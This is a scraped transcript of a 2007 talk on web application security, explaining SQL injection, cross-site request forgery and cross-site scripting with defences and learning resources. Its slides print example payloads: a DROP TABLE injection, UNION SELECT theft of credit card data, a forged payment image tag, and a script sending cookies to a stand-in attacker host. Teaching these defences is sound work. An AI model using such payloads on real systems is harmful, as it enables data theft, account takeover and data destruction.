1 / 60

“What Every Programmer Needs To Know About Security and Where To Learn It” Neil Daswani October 2007 neildaswani/

“What Every Programmer Needs To Know About Security and Where To Learn It” Neil Daswani October 2007 http://www.neildaswani.com/. Is the sky falling? . TJX (March 2007) owns TJ Maxx, Marshalls, and other dept stores attacks exploited WEP used at branches

nodin
Download Presentation

“What Every Programmer Needs To Know About Security and Where To Learn It” Neil Daswani October 2007 neildaswani/

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. “What Every ProgrammerNeeds To Know About Security and Where To Learn It” Neil Daswani October 2007 http://www.neildaswani.com/

  2. Is the sky falling? • TJX (March 2007) • owns TJ Maxx, Marshalls, and other dept stores • attacks exploited WEP used at branches • over 47 million credit card (CC) #s dating back to 2002 • CardSystems (June 2005) • credit card payment processing company: out of business • 263,000 CC #s stolen from database via SQL Injection • 43 million CC #s stored unencrypted / compromised • Enter “sql injection” on news.google.com for more... • Additional Data Theft:www.privacyrights.org/ar/ChronDataBreaches.htm(153M compromised records; over 300 incidents in 2006 alone)

  3. Overview • High-Impact Threats & Defenses:SQL Injection and XSRF(Do not try these attacks on real sites!) • Vulnerability Trends • Where To Learn More:Courses/Certifications, Books, Websites

  4. SQL Injection Example Web Browser Web Server Database Username & Password Normal Query SELECT passwd FROM USERS WHERE uname IS ‘$username’

  5. SQL Injection Example Attacker Provides This Input

  6. SQL Injection Example Web Browser Web Server Database Username & Password Malicious Query SELECT passwd FROM USERS WHERE uname IS ‘’; DROP TABLEUSERS; -- ' Eliminates all user accounts

  7. http://xkcd.com/327/

  8. SQL Injection Example View pizza order history:<br> <form method="post" action="..."> Month <select> <option name="month" value="1">Jan</option> ... <option name="month" value="12">Dec</option> </select> <p> <input type=submit name=submit value=View> </form>

  9. SQL Injection Example Normal SQL Query SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10 Type 2 Attack For order_month parameter, attacker could input 0 OR 1=1 WHERE condition is always true! Gives attacker access to other users’ private data! <option name="month" value=“0 OR 1=1">Dec</option> Malicious Query … WHERE userid=4123 AND order_month=0 OR 1=1

  10. SQL Injection Example All User Data Compromised

  11. SQL Injection Example A more damaging breach of user privacy: Attacker is able to • Combine the results of two queries • Empty table from first query with the sensitive credit card info of all users from second query For order_month parameter, attacker could input: 0 AND 1=0UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards

  12. SQL Injection Example Credit Card Info Compromised

  13. Preventing SQL Injection • Whitelisting • Why? Blacklisting chars doesn’t work: • Forget to filter out some characters • Could prevent valid input (e.g. username O’Brien) • Allow well-defined set of safe values:[A-Za-z0-9]*[0-1][0-9] • Valid input set defined through reg. expressions • Can be implemented in a web application firewall(e.g., mod_security) • Escaping • For valid string inputs like username o’connor, use escape characters. Ex: escape(o’connor) = o’’connor (only works for string inputs)

  14. Prepared Statements & Bind Variables PreparedStatement ps = db.prepareStatement( "SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt( request.getParameter("month"))); ResultSet res = ps.executeQuery(); • query parsed w/o parameters • bind variables are typed e.g. int, string, etc…* Bind Variables: Data Placeholders

  15. Additional Mitigations What else helps? • Limit Privileges (Defense-in-Depth) • Harden DB Server and Host OS What else do I need to learn about SQL Injection? • Second Order SQL Injection • Blind SQL Injection

  16. Threats • Unvalidated Input • SQL Injection • Cross-Site-Scripting (XSS) • Design Errors • Cross-Site-Request-Forgery (XSRF) • Boundary Conditions • Exception Handling • Access Validation

  17. Cross-Site-RequestForgery (XSRF) Alice is using our (“good”) web-application: www.bank.com (assume user is logged in w/ cookie) At the same time (i.e. same browser session), she’s also visiting a “malicious” web-application: www.evil.org

  18. /login.html Cookie: sessionid=40a4c04de /viewbalanceCookie: sessionid=40a4c04de “Your balance is $25,000” How XSRF Works bank.com Alice /authuname=victim&pass=fmd9032

  19. /login.html /authuname=victim&pass=fmd9032 Cookie: sessionid=40a4c04de /evil.html <IMG SRC=http://bank.com/paybill?addr=123 evil st & amt=$10000> /paybill?addr=123 evil st, amt=$10000Cookie: sessionid=40a4c04de “OK. Payment Sent!” How XSRF Works bank.com evil.org Alice

  20. XSRF: Write-only Malicious site can’t read info (due to same-origin policy), but can make write requests to our app! Can still cause damage • in Alice’s case, attacker gained control of her account with full read/write access! Who should worry about XSRF? • apps w/ user info, profiles (e.g., Facebook) • apps that do financial transactions for users • any app that stores user data

  21. Yet Another XSRF: Home Routers [SRJ’07] • Fact:50% of home users use a broadband router with a default or no password • Drive-by Pharming attack: User visits malicious site • JavaScript at site scans home network looking for broadband router: • Same-Origin-Policy allows “send only” messages • Detect success using onerror: • <IMG SRC=192.168.0.1 onerror = do() > • Once found, login to router and change DNS server • Problem: “send-only” access is sufficient to reprogram router

  22. Preventing XSRF • Inspecting Referer Headers • specifies the document originating the request • ok, but not practical since it could be forged or blanked (even by legitimate users) • Web Application Firewall • doesn’t work because request looks authentic to bank.com • Validation via User-Provided Secret • ask for current password for important transactions • Validation via “Action Token” • add special tokens to “genuine” forms to distinguish them from “forged” forms

  23. Vulernability Trends (Overall/MITRE) 2006 2001

  24. Overall Trends • Attacks are increasing • Big four are about the same (regardless of vuln database): • Cross-Site-Scripting (XSS, XSRF, XSSI) • Injection (SQL, PHP-includes) • Memory Corruption (buffer overflows, integer overflows, format strings, etc) • Denial-of-Service

  25. What should I do? • Engineers • Developers • Programmers • Architects1) Arm yourself!2) Elect a security czar for each project

  26. What Every EngineerNeeds To Know... • Secure Design: least privilege, fail-safe stance, weakest link, etc. • Technical Flaws: • XSS / XSRF / XSSI • Injection / Remote Code Execution • Directory Traversal • Race Conditions (e.g., TOCTOU) • Memory Corruption • Attacks: • Data Theft • Authentication / Authorization Bypass • Denial-of-Service • Privilege Escalation • Information Leakage

  27. Where to learn more? • Courses • Certification Programs • Books • Websites(not comprehensive)

  28. Security Courses • Cryptography Upper Division Courses(at almost every major university) • Some systems security courses(e.g., CS155 @ Stanford, CS161 @ UC Berkeley) • More crypto and security courses listed at:http://avirubin.com/courses.html

  29. Stanford Advanced Security Certificate • Online (anytime) or On-Campus (one week) • Required: 3 core courses; 3 electives • Hands-on labs conducting attacks & constructing defenses • Security Foundations Certificate also available • http://proed.stanford.edu/?advancedsecurityto sign up!

  30. Stanford Advanced Security Certificate • CORE COURSES • Using Cryptography Correctly • Writing Secure Code • Security Protocols • ELECTIVES • Computer Security Management – Recent Threats, Trends & the Law • Designing/Building Secure Networks • Emerging Threats and Defenses • Securing Web Applications • Systems Security • SPECIAL ELECTIVE • Computer Security Foundations Certificate

  31. Other Security Certification Programs • CISSP (offered by ISC2) • prepares for administration / gov't jobs in security • credential can be used for PCI compliance • multiple-choice test • GIAC Secure Software Programmer(offered by SANS) • secure programming assessment • multiple choice (questions in development) • new offering: first exam was Aug 2007

  32. Books • Foundations of Security:What Every Programmer Needs To Know(Daswani / Kern / Kesavan) • Security Engineering (Anderson) • Building Secure Software (Viega / McGraw) • Secure Programming Cookbook (Viega / Messier)

  33. Websites • OWASP / Top Tenwww.owasp.org (chapters in almost every major city) • Security Focus / Bugtraqwww.securityfocus.com • code.google.com/edu

  34. OWASP Top 10 2004 2007 • A1 Unvalidated Input • A2 Broken Access Control • A3 Broken Authentication / Session Mg • A4 Cross Site Scripting • A5 Buffer Overflow • A6 Injection Flaws • A7 Improper Error Handling • A8 Insecure Storage • A9 Application Denial of Service • A10 Insecure Configuration Management • A1 Cross Site Scripting (XSS) • A2 Injection Flaws (e.g., SQL injection) • A3 Malicious File Execution (i.e., PHP) • A4 Insecure Direct Object Reference • A5 Cross Site Request Forgery (CSRF) • A6 Information Leakage and Improper Error Handling • A7 Broken Authentication / Session Mgmt • A8 Insecure Cryptographic Storage • A9 Insecure Communications • A10 Failure to Restrict URL Access

  35. Security Focus • www.securityfocus.com / Home of Bugtraq • Articles / Mailing Lists / Vuln. Reports • Focus areas: • Foundations • Microsoft / Unix • IDS • Incident Response • Viruses / Malware • Penetration Testing • Firewalls

  36. code.google.com/edu: Web Security • Free & available for external use • Ex. DoS against web server

  37. To conclude... • Every engineer should be a software security practitioner • We’re looking for some bright engineers!(application security, botnets, etc.) • Links / Pointers: http://www.learnsecurity.com/ Click on “Resources” • Neil Daswanidaswani@google.comhttp://www.neildaswani.com

  38. Backup Slides Follow

  39. Last Remarks • Interested in jobs?(software security, botnets, ...) • Items in the back: • Free books • Stanford Security Certification Brochures • Need security help / consulting?

  40. Cross-Site Scripting (XSS) What if attacker can get a malicious script to be executed in our application?http://deliver-me-pizza.com/submit_order?addr=123mainst <input type=text name=addr value=123mainst> Ex: our app could have a query parameter in the URL and print it out on page • Suppose input data is not filtered • Attacker could inject a malicious script! Other Sources of Untrusted Data • HTML form fields • URL path (e.g. in a Document Not Found error)

  41. XSS Example 1. Attacker tricks Alice into visiting his page. 2. Page loads URL of query to our app with this parameter injected: http://deliver-me-pizza.com/submit_order?addr= %3D%20%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C/script%3E%0A printed on our HTML source translates <script>alert(document.cookie);</script> 3. Any arbitrary script attacker chooses, can be executed on our application site! How much damage can the malicious script cause?

  42. XSS Exploits Stealing Cookies • the malicious script could cause the browser to send attacker all cookies for our app’s domain. Ex: "><script>i=new Image(); i.src='http://www.hacker.com/sendmail.php?to=attacker@hacker.com&payload='+document.cookie;</script> • gives attacker full access to Alice’s session Scripting the Vulnerable App • complex script with specific goal • e.g. get personal user info, transfer funds, etc… • doesn’t have to make a direct attack, revealing his IP address, harder to trace Modifying Web Pages

  43. Mitigating XSS Input Validation • XSS is not just a input validation problem • strings with HTML metachars not a problem until they’re displayed on the webpage • might be valid elsewhere, e.g. in a database Output Sanitization • check strings as they’re inserted into HTML doc HTML Escaping • escape some chars with their literals • e.g. & = &amp; < = &lt; > = &rt; “ = &quot; HTTP-Only Cookies • HTTPOnly attribute on cookie in IE prevents it from being exposed to client-side scripts • can prevent traditional session hijacking • incomplete protection

  44. Cross-Domain Security Domain: where our applications and services are hosted Same-Origin-Policy (SOP): script is only allowed to connect back to the origin (domain,port,protocol) from which it was served Cross-domain: security threats due to interactions between our applications and pages on other domains

  45. Vulnerability Trends(OS Vendors/MITRE) 2001 2006

  46. Vulnerabilities Stats • Boundary Conditions • Exception Handling • Access Validation • Disclaimer on Categorization • Input Validation • Design Errors source: securityfocus vulnerability database

  47. source: securityfocus vulnerability database

  48. Prepared Statements & Bind Variables Metacharacters (e.g. ‘) in queries provide distinction between data & control Most attacks: data interpreted as control / alters the semantics of a query/cmd Bind Variables: ? placeholders guaranteed to be data (not control) Prepared Statements allow creation of static queries with bind variables → preserves the structure of intended query

  49. Source: securityfocus vulnerability database

  50. More XSRF Malicious site can initiate HTTP requests to our app on Alice’s behalf, w/o her knowledge • authentication cookies stored in browser cache are sent to our server regardless of who made the request Another Example: change password feature on our app (“update_password”) • Hacker site could execute a script to send a fake password-change request • authenticates b/c cookies are sent

More Related